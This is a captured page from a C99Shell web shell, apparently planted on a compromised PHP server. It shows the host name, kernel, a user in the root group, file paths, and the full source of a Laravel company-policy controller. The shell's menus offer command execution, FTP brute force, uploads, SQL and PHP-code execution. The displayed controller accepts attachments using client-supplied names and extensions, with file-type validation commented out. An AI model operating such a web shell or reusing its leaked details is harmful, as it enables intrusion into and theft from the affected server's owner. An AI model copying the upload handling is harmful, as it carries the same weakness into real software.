!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompanyPolicyController.php (9.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Branch;
use 
App\Models\CompanyPolicy;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;

class 
CompanyPolicyController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage company policy'))
        {
            
$companyPolicy CompanyPolicy::where('created_by''='\Auth::user()->creatorId())->with('branches')->get();

            return 
view('companyPolicy.index'compact('companyPolicy'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
create()
    {
        if(
\Auth::user()->can('create company policy'))
        {
            
$branch Branch::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$branch->prepend('Select Branch','');

            return 
view('companyPolicy.create'compact('branch'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    public function 
store(Request $request)
    {

        if(
\Auth::user()->can('create company policy'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'branch' => 'required',
                                   
'title' => 'required',

                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            if(!empty(
$request->attachment))
            {
                
$filenameWithExt $request->file('attachment')->getClientOriginalName();
                
$filename        pathinfo($filenameWithExtPATHINFO_FILENAME);
                
$extension       $request->file('attachment')->getClientOriginalExtension();
                
$fileNameToStore $filename '_' time() . '.' $extension;
//                $dir             = storage_path('uploads/companyPolicy/');
//
//                if(!file_exists($dir))
//                {
//                    mkdir($dir, 0777, true);
//                }
//                $path = $request->file('attachment')->storeAs('uploads/companyPolicy/', $fileNameToStore);
//            }
                
$dir 'uploads/companyPolicy/';
                
$image_path $dir $fileNameToStore;
                if (
\File::exists($image_path)) {
                    
\File::delete($image_path);
                }
                
$url '';
                
$path Utility::upload_file($request,'attachment',$fileNameToStore,$dir,[]);

                if(
$path['flag'] == 1){
                    
$url $path['url'];
                }else{
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
            }

            
$policy              = new CompanyPolicy();
            
$policy->branch      $request->branch;
            
$policy->title       $request->title;
            
$policy->description $request->description;
            
$policy->attachment  = !empty($request->attachment) ? $fileNameToStore '';
            
$policy->created_by  \Auth::user()->creatorId();
            
$policy->save();


            
//For Notification
            
$setting  Utility::settings(\Auth::user()->creatorId());
            
$branch Branch::find($request->branch);
            
$policyNotificationArr = [
                
'company_policy_name' => $request->title,
                
'branch_name' => $branch->name,
            ];
            
//Slack Notification
            
if(isset($setting['policy_notification']) && $setting['policy_notification'] ==1)
            {
                
Utility::send_slack_msg('new_company_policy'$policyNotificationArr);
            }
            
//Telegram Notification
            
if(isset($setting['telegram_policy_notification']) && $setting['telegram_policy_notification'] ==1)
            {
                
Utility::send_telegram_msg('new_company_policy'$policyNotificationArr);

            }

            
//webhook
            
$module ='New Company Policy';
            
$webhook =  Utility::webhookSetting($module);
            if(
$webhook)
            {
                
$parameter json_encode($policy);
                
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
                if(
$status == true)
                {
                    return 
redirect()->route('company-policy.index')->with('success'__('Company policy successfully created.'));
                }
                else
                {
                    return 
redirect()->back()->with('error'__('Webhook call failed.'));
                }
            }


            return 
redirect()->route('company-policy.index')->with('success'__('Company policy successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
show(CompanyPolicy $companyPolicy)
    {
        
//
    
}


    public function 
edit(CompanyPolicy $companyPolicy)
    {

        if(
\Auth::user()->can('edit company policy'))
        {
            
$branch Branch::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$branch->prepend('Select Branch','');

            return 
view('companyPolicy.edit'compact('branch''companyPolicy'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    public function 
update(Request $requestCompanyPolicy $companyPolicy)
    {
        if(
\Auth::user()->can('create company policy'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'branch' => 'required',
                                   
'title' => 'required',
//                                   'attachment' => 'mimes:jpeg,png,jpg,gif,pdf,doc,zip|max:20480',
                               
]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            if(isset(
$request->attachment))
            {
                
$filenameWithExt $request->file('attachment')->getClientOriginalName();
                
$filename        pathinfo($filenameWithExtPATHINFO_FILENAME);
                
$extension       $request->file('attachment')->getClientOriginalExtension();
                
$fileNameToStore $filename '_' time() . '.' $extension;
//                $dir             = storage_path('uploads/companyPolicy/');
//
//                if(!file_exists($dir))
//                {
//                    mkdir($dir, 0777, true);
//                }
//                $path = $request->file('attachment')->storeAs('uploads/companyPolicy/', $fileNameToStore);
//            }

                
$dir 'uploads/companyPolicy/';
                
$image_path $dir $fileNameToStore;
                if (
\File::exists($image_path)) {
                    
\File::delete($image_path);
                }
                
$url '';
                
$path \Utility::upload_file($request,'attachment',$fileNameToStore,$dir,[]);
                if(
$path['flag'] == 1){
                    
$url $path['url'];
                }else{
                    return 
redirect()->back()->with('error'__($path['msg']));
                }
            }

            
$companyPolicy->branch      $request->branch;
            
$companyPolicy->title       $request->title;
            
$companyPolicy->description $request->description;
            if(isset(
$request->attachment))
            {
                
$companyPolicy->attachment $fileNameToStore;
            }
            
$companyPolicy->created_by \Auth::user()->creatorId();
            
$companyPolicy->save();

            return 
redirect()->route('company-policy.index')->with('success'__('Company policy successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy(CompanyPolicy $companyPolicy)
    {

        if(
\Auth::user()->can('delete document'))
        {
            if(
$companyPolicy->created_by == \Auth::user()->creatorId())
            {
                
$companyPolicy->delete();

                
$dir storage_path('uploads/companyPolicy/');
                if(!empty(
$companyPolicy->attachment))
                {
                    
unlink($dir $companyPolicy->attachment);
                }

                return 
redirect()->route('company-policy.index')->with('success'__('Company policy successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--